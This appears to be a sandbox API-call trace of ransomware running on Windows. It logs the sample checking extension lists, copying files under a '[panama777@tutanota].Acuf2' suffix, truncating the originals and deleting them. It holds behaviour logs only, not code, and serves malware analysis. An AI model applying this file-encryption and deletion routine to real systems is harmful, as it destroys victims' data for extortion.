	[0249.685] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20
	[0249.685] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.685] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.685] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.685] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.685] lstrlenW (lpString=".doc") returned 4
	[0249.685] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.685] lstrlenW (lpString=".docx") returned 5
	[0249.685] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.685] lstrlenW (lpString=".pdf") returned 4
	[0249.685] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.685] lstrlenW (lpString=".xls") returned 4
	[0249.685] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.685] lstrlenW (lpString=".xlsx") returned 5
	[0249.685] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.685] lstrlenW (lpString=".ppt") returned 4
	[0249.685] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.685] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.685] lstrlenW (lpString=".zip") returned 4
	[0249.685] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.685] lstrlenW (lpString=".rar") returned 4
	[0249.685] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.685] lstrlenW (lpString=".bz2") returned 4
	[0249.685] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.685] lstrlenW (lpString=".7z") returned 3
	[0249.685] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.685] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.685] lstrlenW (lpString=".dbf") returned 4
	[0249.686] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.686] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.686] lstrlenW (lpString=".1cd") returned 4
	[0249.686] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.686] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.686] lstrlenW (lpString=".jpg") returned 4
	[0249.686] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.686] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.686] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.686] lstrlenW (lpString=".doc") returned 4
	[0249.686] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.686] lstrlenW (lpString=".docx") returned 5
	[0249.686] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.686] lstrlenW (lpString=".pdf") returned 4
	[0249.686] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.686] lstrlenW (lpString=".xls") returned 4
	[0249.686] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.686] lstrlenW (lpString=".xlsx") returned 5
	[0249.686] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.686] lstrlenW (lpString=".ppt") returned 4
	[0249.686] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.686] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.686] lstrlenW (lpString=".zip") returned 4
	[0249.686] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.686] lstrlenW (lpString=".rar") returned 4
	[0249.686] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.686] lstrlenW (lpString=".bz2") returned 4
	[0249.686] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.686] lstrlenW (lpString=".7z") returned 3
	[0249.686] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.686] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.686] lstrlenW (lpString=".dbf") returned 4
	[0249.687] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.687] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.687] lstrlenW (lpString=".1cd") returned 4
	[0249.687] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.687] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29
	[0249.687] lstrlenW (lpString=".jpg") returned 4
	[0249.687] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.687] lstrcmpiW (lpString1=".mui", lpString2=".Acuf2") returned 1
	[0249.687] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0249.687] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.687] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=75344) returned 1
	[0249.687] CloseHandle (hObject=0x2a0) returned 1
	[0249.687] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20
	[0249.687] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.687] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.687] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.687] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.687] lstrlenW (lpString=".doc") returned 4
	[0249.687] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.687] lstrlenW (lpString=".docx") returned 5
	[0249.688] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.688] lstrlenW (lpString=".pdf") returned 4
	[0249.688] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.688] lstrlenW (lpString=".xls") returned 4
	[0249.688] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.688] lstrlenW (lpString=".xlsx") returned 5
	[0249.688] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.688] lstrlenW (lpString=".ppt") returned 4
	[0249.688] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.688] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.688] lstrlenW (lpString=".zip") returned 4
	[0249.688] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.688] lstrlenW (lpString=".rar") returned 4
	[0249.688] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.688] lstrlenW (lpString=".bz2") returned 4
	[0249.688] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.688] lstrlenW (lpString=".7z") returned 3
	[0249.688] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.688] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.688] lstrlenW (lpString=".dbf") returned 4
	[0249.688] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.688] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.688] lstrlenW (lpString=".1cd") returned 4
	[0249.688] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.688] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.688] lstrlenW (lpString=".jpg") returned 4
	[0249.688] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.688] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.688] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.688] lstrlenW (lpString=".doc") returned 4
	[0249.688] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0249.689] lstrlenW (lpString=".docx") returned 5
	[0249.689] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0249.689] lstrlenW (lpString=".pdf") returned 4
	[0249.689] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0249.689] lstrlenW (lpString=".xls") returned 4
	[0249.689] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0249.689] lstrlenW (lpString=".xlsx") returned 5
	[0249.689] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0249.689] lstrlenW (lpString=".ppt") returned 4
	[0249.689] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0249.689] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.689] lstrlenW (lpString=".zip") returned 4
	[0249.689] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0249.689] lstrlenW (lpString=".rar") returned 4
	[0249.689] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0249.689] lstrlenW (lpString=".bz2") returned 4
	[0249.689] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0249.689] lstrlenW (lpString=".7z") returned 3
	[0249.689] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0249.689] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.689] lstrlenW (lpString=".dbf") returned 4
	[0249.689] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0249.689] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.689] lstrlenW (lpString=".1cd") returned 4
	[0249.689] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0249.689] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29
	[0249.689] lstrlenW (lpString=".jpg") returned 4
	[0249.689] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0249.689] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0249.690] lstrlenW (lpString="memtest.exe") returned 11
	[0249.690] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0
	[0249.690] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=485760) returned 1
	[0249.690] CloseHandle (hObject=0x2a0) returned 1
	[0249.690] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20
	[0249.690] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0249.690] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.690] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19
	[0249.690] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19
	[0249.690] lstrlenW (lpString=".doc") returned 4
	[0249.690] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0249.690] lstrlenW (lpString=".docx") returned 5
	[0249.690] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0249.690] lstrlenW (lpString=".pdf") returned 4
	[0249.690] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0249.690] lstrlenW (lpString=".xls") returned 4
	[0249.690] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0249.690] lstrlenW (lpString=".xlsx") returned 5
	[0249.690] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0249.690] lstrlenW (lpString=".ppt") returned 4
	[0249.690] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0249.690] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19
	[0249.690] lstrlenW (lpString=".zip") returned 4
	[0249.690] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0249.690] lstrlenW (lpString=".rar") returned 4
	[0249.691] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0249.691] lstrlenW (lpString=".bz2") returned 4
	[0249.691] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0249.691] lstrlenW (lpString=".7z") returned 3
	[0249.691] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0252.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0253.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0253.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0253.028] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.028] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0253.625] GetLastError () returned 0x0
	[0253.625] ReadFile (in: hFile=0x2a4, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xa2b58, lpOverlapped=0x0) returned 1
	[0253.657] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xa2b60, lpOverlapped=0x0) returned 1
	[0253.790] ReadFile (in: hFile=0x2a4, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0253.790] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0253.790] SetEndOfFile (hFile=0x340) returned 1
	[0254.045] CloseHandle (hObject=0x340) returned 1
	[0254.458] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.458] SetEndOfFile (hFile=0x2a4) returned 1
	[0254.593] CloseHandle (hObject=0x2a4) returned 1
	[0254.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1
	[0254.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.594] lstrlenW (lpString=".doc") returned 4
	[0254.594] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1
	[0254.594] lstrlenW (lpString=".docx") returned 5
	[0254.594] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1
	[0254.594] lstrlenW (lpString=".pdf") returned 4
	[0254.594] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1
	[0254.594] lstrlenW (lpString=".xls") returned 4
	[0254.594] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1
	[0254.594] lstrlenW (lpString=".xlsx") returned 5
	[0254.594] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1
	[0254.594] lstrlenW (lpString=".ppt") returned 4
	[0254.594] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1
	[0254.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.594] lstrlenW (lpString=".zip") returned 4
	[0254.594] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1
	[0254.594] lstrlenW (lpString=".rar") returned 4
	[0254.594] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1
	[0254.594] lstrlenW (lpString=".bz2") returned 4
	[0254.594] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1
	[0254.594] lstrlenW (lpString=".7z") returned 3
	[0254.595] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1
	[0254.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.595] lstrlenW (lpString=".dbf") returned 4
	[0254.595] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1
	[0254.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.595] lstrlenW (lpString=".1cd") returned 4
	[0254.595] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1
	[0254.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.595] lstrlenW (lpString=".jpg") returned 4
	[0254.595] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1
	[0254.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.595] lstrlenW (lpString=".doc") returned 4
	[0254.595] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1
	[0254.595] lstrlenW (lpString=".docx") returned 5
	[0254.595] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1
	[0254.595] lstrlenW (lpString=".pdf") returned 4
	[0254.595] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1
	[0254.596] lstrlenW (lpString=".xls") returned 4
	[0254.596] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1
	[0254.596] lstrlenW (lpString=".xlsx") returned 5
	[0254.596] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1
	[0254.596] lstrlenW (lpString=".ppt") returned 4
	[0254.596] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1
	[0254.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.596] lstrlenW (lpString=".zip") returned 4
	[0254.596] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1
	[0254.596] lstrlenW (lpString=".rar") returned 4
	[0254.596] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1
	[0254.596] lstrlenW (lpString=".bz2") returned 4
	[0254.596] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1
	[0254.596] lstrlenW (lpString=".7z") returned 3
	[0254.596] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1
	[0254.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.596] lstrlenW (lpString=".dbf") returned 4
	[0254.596] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1
	[0254.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.596] lstrlenW (lpString=".1cd") returned 4
	[0254.596] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1
	[0254.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83
	[0254.596] lstrlenW (lpString=".jpg") returned 4
	[0254.596] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1
	[0254.596] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.596] lstrlenW (lpString="GRDEN_01.MID") returned 12
	[0254.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.665] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=7567) returned 1
	[0254.665] CloseHandle (hObject=0x334) returned 1
	[0254.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20
	[0254.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.821] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.821] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.821] GetLastError () returned 0x0
	[0254.821] ReadFile (in: hFile=0x334, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1d8f, lpOverlapped=0x0) returned 1
	[0254.853] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1d90, lpOverlapped=0x0) returned 1
	[0254.854] ReadFile (in: hFile=0x334, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.854] WriteFile (in: hFile=0x350, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.854] SetEndOfFile (hFile=0x350) returned 1
	[0254.854] CloseHandle (hObject=0x350) returned 1
	[0254.854] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.854] SetEndOfFile (hFile=0x334) returned 1
	[0254.857] CloseHandle (hObject=0x334) returned 1
	[0254.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1
	[0254.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63
	[0254.924] lstrlenW (lpString=".doc") returned 4
	[0254.924] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.924] lstrlenW (lpString=".docx") returned 5
	[0254.925] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
